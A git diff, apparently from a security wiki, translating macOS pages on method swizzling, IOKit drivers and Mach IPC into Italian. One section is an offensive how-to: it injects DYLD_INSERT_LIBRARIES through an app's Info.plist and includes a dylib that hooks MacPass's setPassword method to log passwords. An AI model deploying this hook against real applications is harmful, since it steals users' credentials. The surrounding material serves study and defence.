uppercaseString3); - return 0; +return 0; } ``` +### Method Swizzling con method_exchangeImplementations -### Method Swizzling with method_exchangeImplementations - -The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. +La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di **una funzione con l'altra**. > [!CAUTION] -> So when a function is called what is **executed is the other one**. - +> Quindi, quando una funzione viene chiamata, ciò che viene **eseguito è l'altra**. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original method - return [self swizzledSubstringFromIndex:from]; +// Call the original method +return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { - // Perform method swizzling - Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); - Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); - method_exchangeImplementations(originalMethod, swizzledMethod); +// Perform method swizzling +Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); +Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); +method_exchangeImplementations(originalMethod, swizzledMethod); - // We changed the address of one method for the other - // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex - // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled +// We changed the address of one method for the other +// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex +// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - return 0; +return 0; } ``` - > [!WARNING] -> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. +> In questo caso, se il **codice di implementazione del metodo legittimo** **verifica** il **nome del metodo**, potrebbe **rilevare** questo swizzling e impedirne l'esecuzione. > -> The following technique doesn't have this restriction. +> La seguente tecnica non ha questa restrizione. -### Method Swizzling with method_setImplementation +### Method Swizzling con method_setImplementation -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +Il formato precedente è strano perché stai cambiando l'implementazione di 2 metodi l'uno con l'altro. Utilizzando la funzione **`method_setImplementation`**, puoi **cambiare** l'**implementazione** di un **metodo con l'altro**. +Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se intendi chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto più complicato localizzare quell'indirizzo. ```objectivec #import #import @@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL; @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original implementation using objc_msgSendSuper - return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); +// Call the original implementation using objc_msgSendSuper +return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get the class of the target method - Class stringClass = [NSString class]; +@autoreleasepool { +// Get the class of the target method +Class stringClass = [NSString class]; - // Get the swizzled and original methods - Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); +// Get the swizzled and original methods +Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - // Get the function pointer to the swizzled method's implementation - IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); +// Get the function pointer to the swizzled method's implementation +IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - // Swap the implementations - // It return the now overwritten implementation of the original method to store it - original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); +// Swap the implementations +// It return the now overwritten implementation of the original method to store it +original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - // Set the original implementation back - method_setImplementation(originalMethod, original_substringFromIndex); +// Set the original implementation back +method_setImplementation(originalMethod, original_substringFromIndex); - return 0; - } +return 0; +} } ``` - ## Hooking Attack Methodology -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tuttavia, comportavano **l'esecuzione di codice all'interno del processo per attaccare**. -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. +Tuttavia, entrambe le opzioni sono **limitati** a **binarie/processi non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni. -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass. +Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile env **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come: ```xml LSEnvironment - DYLD_INSERT_LIBRARIES - /Applications/Application.app/Contents/malicious.dylib +DYLD_INSERT_LIBRARIES +/Applications/Application.app/Contents/malicious.dylib ``` - -and then **re-register** the application: - +e poi **ri-registrare** l'applicazione: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` - -Add in that library the hooking code to exfiltrate the information: Passwords, messages... +Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Passwords, messages... > [!CAUTION] -> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. - -#### Library example +> Nota che nelle versioni più recenti di macOS se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**. +#### Esempio di libreria ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib @@ -331,27 +312,26 @@ static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { - // Function that will log the password and call the original setPassword(pass, file_path) method - NSLog(@"[+] Password is: %@", password); +// Function that will log the password and call the original setPassword(pass, file_path) method +NSLog(@"[+] Password is: %@", password); - // After logging the password call the original method so nothing breaks. - return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); +// After logging the password call the original method so nothing breaks. +return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { - // Get the real method address to not lose it - Class classMPDocument = NSClassFromString(@"MPDocument"); - Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); +// Get the real method address to not lose it +Class classMPDocument = NSClassFromString(@"MPDocument"); +Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - // Make the original method setPassword call the fake implementation one - IMP fake_IMP = (IMP)custom_setPassword; - real_setPassword = method_setImplementation(real_Method, fake_IMP); +// Make the original method setPassword call the fake implementation one +IMP fake_IMP = (IMP)custom_setPassword; +real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` - -## References +## Riferimenti - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5381cb0d0..fb1d0fad7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +L'I/O Kit è un **framework per driver di dispositivo** open-source e orientato agli oggetti nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Permette di aggiungere codice modulare al kernel al volo, supportando hardware diversificato. -IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. +I driver IOKit **esporteranno fondamentalmente funzioni dal kernel**. Questi parametri di funzione **tipi** sono **predefiniti** e vengono verificati. Inoltre, simile a XPC, IOKit è solo un altro strato **sopra i messaggi Mach**. -**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +Il **codice IOKit del kernel XNU** è open-source da Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Inoltre, i componenti IOKit dello spazio utente sono anch'essi open-source [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). -However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** - -It's written in **C++**. You can get demangled C++ symbols with: +Tuttavia, **nessun driver IOKit** è open-source. Comunque, di tanto in tanto, un rilascio di un driver potrebbe venire con simboli che rendono più facile il debug. Controlla come [**ottenere le estensioni del driver dal firmware qui**](./#ipsw)**.** +È scritto in **C++**. Puoi ottenere simboli C++ demangled con: ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -23,210 +22,193 @@ c++filt __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - > [!CAUTION] -> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. +> Le funzioni **esposte** di IOKit potrebbero eseguire **controlli di sicurezza aggiuntivi** quando un client tenta di chiamare una funzione, ma si noti che le app sono solitamente **limitati** dal **sandbox** con cui possono interagire le funzioni di IOKit. -## Drivers +## Driver -In macOS they are located in: +In macOS si trovano in: - **`/System/Library/Extensions`** - - KEXT files built into the OS X operating system. +- File KEXT integrati nel sistema operativo OS X. - **`/Library/Extensions`** - - KEXT files installed by 3rd party software +- File KEXT installati da software di terze parti -In iOS they are located in: +In iOS si trovano in: - **`/System/Library/Extensions`** - ```bash #Use kextstat to print the loaded drivers kextstat Executing: /usr/bin/kmutil showloaded No variant specified, falling back to release Index Refs Address Size Wired Name (Version) UUID - 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> - 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> +1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> +10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +Fino al numero 9, i driver elencati sono **caricati all'indirizzo 0**. Questo significa che non sono veri e propri driver ma **parte del kernel e non possono essere scaricati**. -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +Per trovare estensioni specifiche puoi usare: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +Per caricare e scaricare le estensioni del kernel fare: ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - ## IORegistry -The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. - -You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS). +Il **IORegistry** è una parte cruciale del framework IOKit in macOS e iOS che funge da database per rappresentare la configurazione e lo stato dell'hardware del sistema. È una **collezione gerarchica di oggetti che rappresentano tutto l'hardware e i driver** caricati sul sistema e le loro relazioni tra di loro. +Puoi ottenere l'IORegistry utilizzando il cli **`ioreg`** per ispezionarlo dalla console (particolarmente utile per iOS). ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` - -You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface. +Puoi scaricare **`IORegistryExplorer`** da **Xcode Additional Tools** da [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e ispezionare il **macOS IORegistry** attraverso un'interfaccia **grafica**.
-In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: +In IORegistryExplorer, "piani" sono usati per organizzare e visualizzare le relazioni tra diversi oggetti nell'IORegistry. Ogni piano rappresenta un tipo specifico di relazione o una particolare vista della configurazione hardware e dei driver del sistema. Ecco alcuni dei piani comuni che potresti incontrare in IORegistryExplorer: -1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. -2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane**: Questo è il piano più generale, che mostra gli oggetti di servizio che rappresentano driver e nubs (canali di comunicazione tra driver). Mostra le relazioni fornitore-cliente tra questi oggetti. +2. **IODeviceTree Plane**: Questo piano rappresenta le connessioni fisiche tra i dispositivi mentre sono collegati al sistema. È spesso usato per visualizzare la gerarchia dei dispositivi connessi tramite bus come USB o PCI. +3. **IOPower Plane**: Mostra oggetti e le loro relazioni in termini di gestione dell'energia. Può mostrare quali oggetti stanno influenzando lo stato di alimentazione di altri, utile per il debug di problemi legati all'energia. +4. **IOUSB Plane**: Focalizzato specificamente sui dispositivi USB e le loro relazioni, mostrando la gerarchia degli hub USB e dei dispositivi connessi. +5. **IOAudio Plane**: Questo piano è per rappresentare i dispositivi audio e le loro relazioni all'interno del sistema. 6. ... -## Driver Comm Code Example +## Esempio di Codice per la Comunicazione del Driver -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: - -- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service. -- It then establish a connection calling **`IOServiceOpen`**. -- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned). +Il seguente codice si connette al servizio IOKit `"YourServiceNameHere"` e chiama la funzione all'interno del selettore 0. Per farlo: +- prima chiama **`IOServiceMatching`** e **`IOServiceGetMatchingServices`** per ottenere il servizio. +- Poi stabilisce una connessione chiamando **`IOServiceOpen`**. +- E infine chiama una funzione con **`IOConnectCallScalarMethod`** indicando il selettore 0 (il selettore è il numero assegnato alla funzione che vuoi chiamare). ```objectivec #import #import int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get a reference to the service using its name - CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); - if (matchingDict == NULL) { - NSLog(@"Failed to create matching dictionary"); - return -1; - } +@autoreleasepool { +// Get a reference to the service using its name +CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); +if (matchingDict == NULL) { +NSLog(@"Failed to create matching dictionary"); +return -1; +} - // Obtain an iterator over all matching services - io_iterator_t iter; - kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to get matching services"); - return -1; - } +// Obtain an iterator over all matching services +io_iterator_t iter; +kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to get matching services"); +return -1; +} - // Get a reference to the first service (assuming it exists) - io_service_t service = IOIteratorNext(iter); - if (!service) { - NSLog(@"No matching service found"); - IOObjectRelease(iter); - return -1; - } +// Get a reference to the first service (assuming it exists) +io_service_t service = IOIteratorNext(iter); +if (!service) { +NSLog(@"No matching service found"); +IOObjectRelease(iter); +return -1; +} - // Open a connection to the service - io_connect_t connect; - kr = IOServiceOpen(service, mach_task_self(), 0, &connect); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to open service"); - IOObjectRelease(service); - IOObjectRelease(iter); - return -1; - } +// Open a connection to the service +io_connect_t connect; +kr = IOServiceOpen(service, mach_task_self(), 0, &connect); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to open service"); +IOObjectRelease(service); +IOObjectRelease(iter); +return -1; +} - // Call a method on the service - // Assume the method has a selector of 0, and takes no arguments - kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to call method"); - } +// Call a method on the service +// Assume the method has a selector of 0, and takes no arguments +kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to call method"); +} - // Cleanup - IOServiceClose(connect); - IOObjectRelease(service); - IOObjectRelease(iter); - } - return 0; +// Cleanup +IOServiceClose(connect); +IOObjectRelease(service); +IOObjectRelease(iter); +} +return 0; } ``` +Ci sono **altre** funzioni che possono essere utilizzate per chiamare le funzioni IOKit oltre a **`IOConnectCallScalarMethod`** come **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... -There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +## Inversione del punto di ingresso del driver -## Reversing driver entrypoint +Puoi ottenerli ad esempio da un [**firmware image (ipsw)**](./#ipsw). Poi, caricalo nel tuo decompilatore preferito. -You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. - -You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function: +Puoi iniziare a decompilare la funzione **`externalMethod`** poiché questa è la funzione del driver che riceverà la chiamata e chiamerà la funzione corretta:
-That awful call demagled means: - +Quella terribile chiamata demangled significa: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Note how in the previous definition the **`self`** param is missed, the good definition would be: - +Nota come nella definizione precedente il parametro **`self`** è mancante, la buona definizione sarebbe: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): - +In realtà, puoi trovare la definizione reale in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): ```cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, - const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, - OSObject * target, void * reference) +const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, +OSObject * target, void * reference) ``` - -With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types: +Con queste informazioni puoi riscrivere Ctrl+Right -> `Edit function signature` e impostare i tipi noti:
-The new decompiled code will look like: +Il nuovo codice decompilato apparirà così:
-For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: +Per il passo successivo dobbiamo avere definita la struct **`IOExternalMethodDispatch2022`**. È open source in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), puoi definirla:
-Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: +Ora, seguendo il `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` puoi vedere molti dati:
-Change the Data Type to **`IOExternalMethodDispatch2022:`** +Cambia il tipo di dato in **`IOExternalMethodDispatch2022:`**
-after the change: +dopo la modifica:
-And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: +E come sappiamo lì abbiamo un **array di 7 elementi** (controlla il codice decompilato finale), clicca per creare un array di 7 elementi:
-After the array is created you can see all the exported functions: +Dopo che l'array è stato creato puoi vedere tutte le funzioni esportate:
> [!TIP] -> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... +> Se ricordi, per **chiamare** una funzione **esportata** dallo spazio utente non dobbiamo chiamare il nome della funzione, ma il **numero del selettore**. Qui puoi vedere che il selettore **0** è la funzione **`initializeDecoder`**, il selettore **1** è **`startDecoder`**, il selettore **2** **`initializeEncoder`**... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index c62c79223..2c575c905 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -1,113 +1,108 @@ -# macOS IPC - Inter Process Communication +# macOS IPC - Comunicazione tra Processi {{#include ../../../../banners/hacktricks-training.md}} -## Mach messaging via Ports +## Messaggi Mach tramite Porte -### Basic Information +### Informazioni di Base -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +Mach utilizza **compiti** come la **più piccola unità** per la condivisione delle risorse, e ogni compito può contenere **più thread**. Questi **compiti e thread sono mappati 1:1 a processi e thread POSIX**. -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +La comunicazione tra compiti avviene tramite la Comunicazione Inter-Processo Mach (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra porte**, che fungono da **code di messaggi** gestite dal kernel. -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). +Ogni processo ha una **tabella IPC**, in cui è possibile trovare le **porte mach del processo**. Il nome di una porta mach è in realtà un numero (un puntatore all'oggetto kernel). -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. +Un processo può anche inviare un nome di porta con alcuni diritti **a un compito diverso** e il kernel farà apparire questa voce nella **tabella IPC dell'altro compito**. -### Port Rights +### Diritti di Porta -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +I diritti di porta, che definiscono quali operazioni un compito può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti di porta** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **Diritto di ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (produttore multiplo, consumatore singolo), il che significa che può esserci **solo un diritto di ricezione per ogni porta** nell'intero sistema (a differenza delle pipe, dove più processi possono detenere descrittori di file per l'estremità di lettura di una pipe). +- Un **compito con il Diritto di Ricezione** può ricevere messaggi e **creare diritti di Invio**, consentendogli di inviare messaggi. Inizialmente solo il **proprio compito ha il Diritto di Ricezione sulla sua porta**. +- **Diritto di invio**, che consente di 